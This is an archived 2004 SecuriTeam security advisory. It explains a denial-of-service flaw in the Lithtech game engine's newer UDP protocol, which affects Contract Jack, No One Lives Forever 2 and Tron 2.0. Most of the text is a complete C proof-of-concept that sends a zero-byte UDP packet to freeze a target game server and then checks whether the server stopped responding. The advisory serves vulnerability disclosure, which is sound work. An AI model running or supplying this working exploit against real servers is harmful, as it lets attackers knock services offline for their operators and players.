[NT] Unreachable Socket in Lithtech Engine (New Protocol)

From: SecuriTeam (support_at_securiteam.com)
Date: 12/21/04

  • Next message: SecuriTeam: "[UNIX] Multiple phpGroupWare Vulnerabilities (Path Disclosure, XSS, SQL Injection)"
    To: list@securiteam.com
    Date: 21 Dec 2004 18:56:39 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Unreachable Socket in Lithtech Engine (New Protocol)
    ------------------------------------------------------------------------

    SUMMARY

    The Lithtech engine is a game engine used by many games. Some of the
    latest games released and based on this engine use a network protocol
    different than all the others (probably they use a new version of the
    engine but naturally Luigi don't know all these details).

    Just these latest games (all developed by Monolith) are those affected by
    a bug that allows attacker to cause the program to stop responding:
    Contract Jack (Nov 2003), No one lives forever 2 (Oct 2002) and Tron 2.0
    (Aug 2003) (Other games might be affected as well).

    DETAILS

    Vulnerable Systems:
     * Contract Jack version 1.1 and prior
     * No one lives forever 2 version 1.3 and prior
     * Tron 2.0 version 1.042 and prior

    The new network protocol used by the Lithtech engine is composed by a loop
    used to handle all the UDP packets received.

    A select() function with a time out of 30 seconds searches for new data
    into the socket's queue. If data is received or the socket goes in time
    out, a recvfrom() is called and its return value is checked to know if has
    happened an error. If there is a socket error, the game calls
    WSAGetLastError() to catch the error code and returns reaching a main
    check that is made ever before the usual select() function. This so-called
    "main check" simply controls that the error returned by WSAGetLastError()
    (and stored in a specific variable) is "Operation would block" (10035, the
    only type of error accepted to continue the listening loop).

    If an attacker sends an UDP packet of zero bytes, recvfrom() returns this
    length and an instruction checks just if it is equal than zero. In this
    case the code flow returns to the "main check" that controls the error
    code (not set, so equal to zero) and since it is not 10035 exits from the
    loop that handles the socket's data.

    After that, the server will be no longer able to receive packets because
    the loop is completely dead.

    A similar problem happens if an attacker sends an UDP packet with a size
    major/equal than 8193 bytes (max data read by recvfrom()) and minor/equal
    than 12280 (otherwise select() doesn't catch it). The "main check" will
    fail as before because the error code will be different than 10035 (in
    fact it will be 10040, "Message too long").

    Exploit:
    /*

    by Luigi Auriemma - http://aluigi.altervista.org/poc/lithsock.zip - SECU

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    #ifdef WIN32
        #include <winsock.h>
        #include "winerr.h"

        #define close closesocket
        #define ONESEC 1000
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netinet/in.h>
        #include <netdb.h>

        #define ONESEC 1
    #endif

    #define VER "0.1"
    #define BUFFSZ 2048
    #define PORT 27888
    #define TIMEOUT 3
    #define CHECK "\x10\x7f\x33\x01"
    #define ZERO "" // 0 bytes, a cool bug

    #define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr
    *)&peer, sizeof(peer)) \
                      < 0) std_err();

    int info_proto(u_char *data);
    int timeout(int sock);
    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
        struct sockaddr_in peer;
        int sd,
                len;
        u_short port = PORT;
        u_char buff[BUFFSZ];

        setbuf(stdout, NULL);

        fputs("\n"
            "Lithtech engine (new protocol) socket unreacheable "VER"\n"
            " Contract Jack <= 1.1\n"
            " No one lives forever 2 <= 1.3\n"
            " Tron 2.0 <= 1.042\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@autistici.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        if(argc < 2) {
            printf("\n"
                "Usage: %s <host> [port(%d)]\n"
                "\n", argv[0], port);
            exit(1);
        }

    #ifdef WIN32
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        if(argc > 2) port = atoi(argv[2]);
        peer.sin_addr.s_addr = resolv(argv[1]);
        peer.sin_port = htons(port);
        peer.sin_family = AF_INET;

        printf("- target %s : %hu\n",
            inet_ntoa(peer.sin_addr), port);

        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();

        fputs("- check if server is online\n", stdout);
        SEND(CHECK);
        if(timeout(sd) < 0) {
            fputs("\nError: socket timeout, no reply received\n\n", stdout);
            exit(1);
        } else {
            len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
            if(len < 0) std_err();
            if(memcmp(buff, CHECK, 3)) {
                if(*buff == '\\') {
                    fputs("- received an information reply, seems you have
    specified a wrong port.\n"
                        " Try with a lower one\n", stdout);
                } else {
                    fputs("\nError: unknown data received, this is none of the
    vulnerable games\n\n", stdout);
                }
                exit(1);
            }
        }

        fputs("- send a ZERO bytes packet\n", stdout);
        SEND(ZERO);

        fputs("- wait one second\n", stdout);
        sleep(ONESEC);

        fputs("- check if the server is vulnerable:\n", stdout);
        SEND(CHECK);

        if(timeout(sd) < 0) {
            fputs("\nServer IS vulnerable!!!\n\n", stdout);
        } else {
            fputs("\nServer doesn't seem vulnerable\n\n", stdout);
        }

        close(sd);

        return(0);
    }

    int timeout(int sock) {
        struct timeval tout;
        fd_set fd_read;
        int err;

        tout.tv_sec = TIMEOUT;
        tout.tv_usec = 0;
        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        err = select(sock + 1, &fd_read, NULL, NULL, &tout);
        if(err < 0) std_err();
        if(!err) return(-1);
        return(0);
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolv hostname (%s)\n", host);
                exit(1);
            } else host_ip = *(u_long *)hp->h_addr;
        }
        return(host_ip);
    }

    #ifndef WIN32
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@autistici.org> Luigi
    Auriemma.
    The original article can be found at:
    <http://aluigi.altervista.org/adv/lithsock-adv.txt>
    http://aluigi.altervista.org/adv/lithsock-adv.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Multiple phpGroupWare Vulnerabilities (Path Disclosure, XSS, SQL Injection)"

    Relevant Pages